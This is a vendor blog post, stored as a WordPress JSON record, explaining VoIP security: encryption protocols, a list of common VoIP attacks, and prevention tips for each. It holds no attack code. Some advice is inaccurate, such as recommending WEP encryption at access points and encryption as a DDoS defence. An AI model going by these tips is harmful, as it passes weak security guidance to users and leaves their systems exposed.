{"id":4684,"date":"2024-03-27T09:10:16","date_gmt":"2024-03-27T09:10:16","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=4684"},"modified":"2025-09-05T11:04:51","modified_gmt":"2025-09-05T11:04:51","slug":"voip-security","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/","title":{"rendered":"VoIP Security: How it Works, Encryption and Best Practices"},"content":{"rendered":"<p><b>A recent survey conducted by JP Morgan shows that 94% of companies had taken serious steps to harden VoIP security. Why? Because they think VoIP threats and vulnerabilities like payment fraud, malware, service theft, and spoofing have been increasing significantly.<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Voice over Internet Protocol (VoIP) has revolutionized business communication, offering flexibility, scalability, and cost-effectiveness. Yet, with its rise in popularity, concerns over VoIP security have also escalated. IT leaders frequently inquire about the security of VoIP phone systems, mindful of the potential risks posed by cyber threats.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">In this comprehensive guide, we will delve into the intricacies of VoIP security, addressing common concerns and providing actionable insights to mitigate risks effectively. From understanding the fundamental differences between VoIP and traditional landlines to exploring the latest security issues and encryption protocols, we will equip you with the knowledge and strategies to fortify your VoIP infrastructure.<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4ec1020ca\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4ec1020ca\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Why_VoIP_Security_Matters\" title=\"Why VoIP Security Matters\">Why VoIP Security Matters<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#What_is_Encrypted_VoIP\" title=\"What is Encrypted VoIP?\">What is Encrypted VoIP?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#How_VoIP_Encryption_Works\" title=\"How VoIP Encryption Works\">How VoIP Encryption Works<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Traditional_Phone_Systems_vs_VoIP\" title=\"Traditional Phone Systems vs. VoIP\">Traditional Phone Systems vs. VoIP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Common_VoIP_Security_Risks_and_How_to_Prevent_Them\" title=\"Common VoIP Security Risks and How to Prevent Them\">Common VoIP Security Risks and How to Prevent Them<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Packet_Sniffing\" title=\"Packet Sniffing\">Packet Sniffing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#DDoS_Attack\" title=\"DDoS Attack\">DDoS Attack<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Ransomware_Malware\" title=\"Ransomware &amp; Malware\">Ransomware &amp; Malware<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Vishing\" title=\"Vishing\">Vishing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#SPIT\" title=\"SPIT\">SPIT<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Man-in-the-Middle_Attacks\" title=\"Man-in-the-Middle Attacks\">Man-in-the-Middle Attacks<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Toll_Fraud\" title=\"Toll Fraud\">Toll Fraud<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Call_Tampering\" title=\"Call Tampering\">Call Tampering<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#VOMIT\" title=\"VOMIT\">VOMIT<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Best_Practices_to_Secure_Your_VoIP_System\" title=\"Best Practices to Secure Your VoIP System\">Best Practices to Secure Your VoIP System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Features_to_Look_for_in_a_Secure_VoIP_Service_Provider\" title=\"Features to Look for in a Secure VoIP Service Provider\">Features to Look for in a Secure VoIP Service Provider<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/#Conclusion\" title=\"Conclusion\">Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Why_VoIP_Security_Matters\"><\/span><span style=\"font-weight: 400;\">Why VoIP Security Matters<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now, you may wonder why VoIP security is so important. In the JP Morgan survey we mentioned earlier, they found that businesses face about 48% of malware attacks (including ransomware) every year. Other attacks include 23% payment fraud,13% theft of intellectual property, 9% disruption of service or company website, 3% data manipulation, and only 4% out of any concern.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-4686\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Percentage-of-VoIP-attacks-per-year.jpg\" alt=\"Percentage of VoIP attacks per year\" width=\"675\" height=\"489\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Percentage-of-VoIP-attacks-per-year.jpg 675w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Percentage-of-VoIP-attacks-per-year-300x217.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Lumen Technologies found a VoIP threat spike in its 2022 Distributed Denial of Service (DDoS) Attack Quarterly Report and discovered a 315% rise compared to the first quarter of 2022. Twitter faced a comparable attack in 2020, with 45 high-profile accounts, including those of Barack Obama, Kim Kardashian, and Bill Gates, exploited to promote a cryptocurrency scam, resulting in significant financial losses.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">VoIP security is critical for businesses of all sizes. Despite its cost savings and functionality, VoIP is a prime target for attackers. Unique risks like call interception and caller ID spoofing underscore the need for robust security measures. High-profile breaches, like Twitter&#8217;s, highlight the real-world impact of VoIP vulnerabilities.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">The lack of regulatory protections leaves customers financially liable for fraud. Choosing a trusted provider and educating employees are vital steps in safeguarding against attacks. VoIP security isn&#8217;t just about compliance\u2014it&#8217;s essential for business resilience in today&#8217;s interconnected world.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_is_Encrypted_VoIP\"><\/span><span style=\"font-weight: 400;\">What is Encrypted VoIP?<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Encrypted VoIP refers to the practice of securing voice data transmitted over the internet by converting it into an unreadable format through encryption algorithms. This process ensures that even if intercepted, the data remains incomprehensible to unauthorized parties.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">There are two main types of encryption employed in VoIP:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Signalling Encryption:<\/b><span style=\"font-weight: 400;\"> This type safeguards the data responsible for establishing and managing VoIP calls, encompassing details like call initiation and termination. Encryption protocols such as Transport Layer Security (TLS) or Secure Sockets Layer (SSL) are typically utilized to secure this signaling data.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Media Encryption:<\/b> Media encryption protects the voice data transmitted during calls. Voice data is encrypted using protocols like Secure Real-Time Transport Protocol (SRTP) or Datagram Transport Layer Security (DTLS). This ensures that intercepted voice packets remain incomprehensible without the decryption key.<\/li>\n<\/ol>\n<h3><span class=\"ez-toc-section\" id=\"How_VoIP_Encryption_Works\"><\/span><span style=\"font-weight: 400;\">How VoIP Encryption Works<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-4687\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/VoIP-Encryption.jpg\" alt=\"VoIP Encryption\" width=\"750\" height=\"501\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/VoIP-Encryption.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/VoIP-Encryption-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">To understand how VoIP Encryption works we have to deep dive into the transmission process:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Data Transmission and SRTP<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Voice data packets are secured using the Secure Real-Time Transport Protocol (SRTP) or Datagram Transport Layer Security (DTLS) applying the Advanced Encryption Standard (AES) for encryption and message authentication, providing defense against breaches and cyber threats.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Additionally, Transport Layer Security (TLS) or SIP over TLS encrypts and safeguards call details like caller information, preventing tampering and eavesdropping. Quality VoIP providers ensure the availability of both TLS and AES Encryption for enhanced security.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>What is End-To-End Encryption?<\/b><\/p>\n<p><span style=\"font-weight: 400;\">End-to-end encryption (E2EE) is a cybersecurity measure that directly encrypts communication data between endpoints, ensuring that third parties cannot access call or message data as it travels between sender and recipient.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Unlike standard TLS encryption, which only encrypts client-to-server communication, E2EE safeguards against various threats such as eavesdropping, data manipulation, and unauthorized access by utilizing encryption and decryption keys to protect data both in transit and at rest. It&#8217;s essential to verify that end-to-end encryption is enabled before utilizing your VoIP system, as it may only sometimes be the default setting.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Traditional_Phone_Systems_vs_VoIP\"><\/span><span style=\"font-weight: 400;\">Traditional Phone Systems vs. VoIP<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-4688\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Traditional-Phone-Systems-vs.-VoIP.jpg\" alt=\"Traditional Phone Systems vs. VoIP\" width=\"751\" height=\"360\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Traditional-Phone-Systems-vs.-VoIP.jpg 751w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Traditional-Phone-Systems-vs.-VoIP-300x144.jpg 300w\" sizes=\"auto, (max-width: 751px) 100vw, 751px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Traditional phone systems, operating over the Public Switched Telephone Network (PSTN), have been a staple for communication for over a century. However, they rely on analog technology and physical wiring, making them vulnerable to interception and attacks, particularly through practices like phreaking. Despite attempts to secure the PSTN, vulnerabilities persist, especially within Private Branch Exchange (PBX) systems.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">On the contrary, VoIP offers a more secure alternative, leveraging encryption and authentication protocols to protect communication data transmitted over the internet. VoIP systems operate over data networks, eliminating the need for physical wiring and offering enhanced security features that traditional landline phones lack.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">VoIP systems are cost-effective, as they eliminate the need for telephone wiring and allow for easy scalability without additional infrastructure costs. Users can also enjoy flexibility, working from anywhere with internet access, thanks to virtual phone identities and <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/session-initiation-protocol\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">SIP calling apps<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">While VoIP may have advantages in security and cost-efficiency, traditional landline phones still hold sway in terms of reliability, especially in areas with poor internet connectivity or during power outages. They offer a fallback option in situations where internet-based communication is compromised.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">VoIP phone services provide the following security advantages compared to traditional phone systems:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">VoIP calling apps provide real-time monitoring of calling plan usage<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Stringent enforcement of toll-free calls<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Advanced encryption technology to prevent eavesdropping attempts<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Robust voicemail features with email delivery integration<\/span><\/li>\n<\/ol>\n<h2><span class=\"ez-toc-section\" id=\"Common_VoIP_Security_Risks_and_How_to_Prevent_Them\"><\/span><span style=\"font-weight: 400;\">Common VoIP Security Risks and How to Prevent Them<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">VoIP security is a major concern now for businesses, but don\u2019t worry, we will discuss all possible solutions here. Although it\u2019s difficult to prevent 100% security and privacy attacks, adopting a proactive stance towards VoIP security significantly diminishes both their frequency and the extent of their consequences.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Packet_Sniffing\"><\/span><span style=\"font-weight: 400;\">Packet Sniffing<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Packet sniffing represents a prevalent VoIP software attack, wherein hackers disrupt the transit of voice data packets to pilfer and record unencrypted information. By hijacking your router, packet sniffers manipulate data streams through a black hole attack, leading to either degraded network performance or a total loss of network connectivity. This enables packet sniffers to illicitly obtain usernames, passwords, and other confidential data.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Packet Sniffing<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use a reliable VPN<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Turn on end-to-end encryption (E2EE)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Enable network monitoring with real-time alerts<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Avoid using public Wi-Fi<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"DDoS_Attack\"><\/span><span style=\"font-weight: 400;\">DDoS Attack<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A DDoS (Distributed Denial of Service) attack is a malicious act orchestrated by a network of hacker-controlled botnets with the aim of overwhelming networks, websites, and servers, thereby disrupting access to VoIP services for businesses.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">These attacks are characterized by abnormal and prolonged bandwidth spikes, 503 HTTP Error Responses, slowed service, and sudden surges in traffic from similar devices, IP addresses, or locations. DDoS attacks effectively prevent organizations from accessing their VoIP services, leading to significant disruptions in communication and business operations.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent DDoS Attack<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use a dedicated and reliable VoIP Internet connection for VoIP traffic<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use managed encryption<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Ransomware_Malware\"><\/span><span style=\"font-weight: 400;\">Ransomware &amp; Malware<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Computer viruses, ransomware, and malware pose a significant threat to VoIP systems, leading to various security issues and disruptions in communication. These malicious programs consume network bandwidth, contributing to signal congestion and call breakdowns. Additionally, malware corrupts data being transmitted across networks, resulting in packet loss during VoIP calls.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Furthermore, malware creates Trojan backdoors within data networks, leaving businesses vulnerable to future cyber attacks. These backdoors serve as entry points for hackers to tamper with calls or steal sensitive information relayed through VoIP systems.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Malware<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Enable E2EE encryption<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Check for network infection regularly<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Be aware of dangerous sites and purchase routes that actively block malware<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Strengthen security with anti-viruses and VoIP-compatible firewalls<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Always use strong passwords<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Vishing\"><\/span><span style=\"font-weight: 400;\">Vishing<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">During vishing attacks, hackers use VoIP to impersonate trusted entities over phone calls, aiming to deceive businesses into divulging sensitive information like passwords and credit card numbers. <\/span><a href=\"https:\/\/en.wikipedia.org\/wiki\/Caller_ID_spoofing\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Caller ID spoofing<\/span><\/a><span style=\"font-weight: 400;\"> is employed to lend legitimacy, presenting false information such as the caller appearing to be from the victim&#8217;s bank. This tactic induces urgency or fear, coercing victims into sharing confidential data. Unlike email phishing, vishing exploits VoIP systems by manipulating caller IDs, posing substantial security risks to businesses dependent on phone communications.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Vishing<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Avoid providing personal information over the phone to anyone<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Verify phone requests, even if they seem familiar<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You may join the Do Not Call Registry to manage inbound calls<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Initiate Multi-Factor Authentication (MFA) wherever possible<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Train agents properly to avoid giving any sensitive information to fraud calls<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"SPIT\"><\/span><span style=\"font-weight: 400;\">SPIT<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">SPIT, an acronym for Spam over IP Telephony, mirrors the tactics of phishing attempts and email spam but targets VoIP phone numbers. This form of spam inundates VoIP systems with prerecorded messages, aiming to disrupt service availability by overwhelming phone numbers. Additionally, SPIT messages frequently contain malicious software or viruses, posing a dual threat of service denial and potential security breaches.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent SPIT<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use effective firewalls to identify and control Spam<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Dialpads often offer call-blocking and spam-prevention features. Use these features<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use reputed and reliable VoIP service only<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Man-in-the-Middle_Attacks\"><\/span><span style=\"font-weight: 400;\">Man-in-the-Middle Attacks<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In a man-in-the-middle attack targeting VoIP calls, hackers position themselves between the network and the intended recipient. Typically exploiting public or unsecured WiFi networks, they reroute calls through their servers, facilitating the injection of malware, viruses, or spyware into intercepted calls.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Man-in-the-Middle Attacks<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Avoid public Wi-Fi<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use a VPN<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Enable WAP\/WEP encryption at access points<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Maintain router login credential<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Toll_Fraud\"><\/span><span style=\"font-weight: 400;\">Toll Fraud<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hackers exploit business phone systems to generate a high volume of international calls, aiming to profit from the revenue generated. This scheme, known as toll fraud or International Revenue Sharing Fraud (IRSF), involves the misuse of Premium Rate Numbers (PRNs). It poses challenges for detection and prevention due to its reliance on complex networks of mobile systems and multiple operators.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Toll Fraud<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Activate 2FA (two-factor authentication)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use script breaker like Captcha<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Set rate limits on call duration and restrict geo-permissions<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Call_Tampering\"><\/span><span style=\"font-weight: 400;\">Call Tampering<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The next VoIP security threat on our list is call tampering. Call tampering involves cybercriminals disrupting business phone calls by inserting noise packets into the call streams. This action diminishes call quality and can lead to both parties terminating the call prematurely. Additionally, hackers may obstruct the transfer of packets to their intended destination, resulting in unreliable and distorted service characterized by intermittent reception and extended periods of silence.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent Call Tampering<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Enable E2EE (end-to-end encryption)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make sure your VoIP service has TLS encryption to authenticate data packets<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Endpoint detection software can also help<\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"VOMIT\"><\/span><span style=\"font-weight: 400;\">VOMIT<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Voice over Misconfigured Internet Telephones, commonly known as VOMIT, represents a VoIP hacking tool used to convert conversations into files that can be played anywhere. This method facilitates the extraction of sensitive information from business phone systems. By intercepting these converted files, attackers can gather various types of data, including call origins, usernames, passwords, phone numbers, and bank information.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>How to Prevent VOMIT<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Choose a cloud-based VoIP provider that encrypts calls before they are initiated<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Work with HIPPA &amp; HITECH compliant providers<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Prefer a private PBX network rather than a public one<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Best_Practices_to_Secure_Your_VoIP_System\"><\/span><span style=\"font-weight: 400;\">Best Practices to Secure Your VoIP System<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-4689\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Secure-VoIP-System.jpg\" alt=\"Secure VoIP System\" width=\"751\" height=\"521\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Secure-VoIP-System.jpg 751w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Secure-VoIP-System-300x208.jpg 300w\" sizes=\"auto, (max-width: 751px) 100vw, 751px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Now you know almost all types of VoIP security risks a business may face and we have also covered some points on how to prevent these threats. Below here we\u2019ve summarized some VoIP security best practices that are crucial to mitigate VoIP security issues.<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Strong Password Policies<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Implement strong password policies to prevent brute force attacks and ensure employees use unique passwords regularly. Policies should prohibit the use of easily guessable passwords and require regular password updates.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Avoid Public WiFi Networks<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Instruct employees to avoid using public WiFi networks for VoIP access to mitigate the risk of malware and viruses spreading. Public networks are often unsecured and can expose the VoIP system to potential security threats.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Routine Security Audits<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Conduct routine security audits performed by independent agencies to assess and patch vulnerabilities in the system. Audits should include patching procedures, gateway assessments, firewall configurations, and cyberattack simulations.<\/span><b><\/b><\/p>\n<ul>\n<li 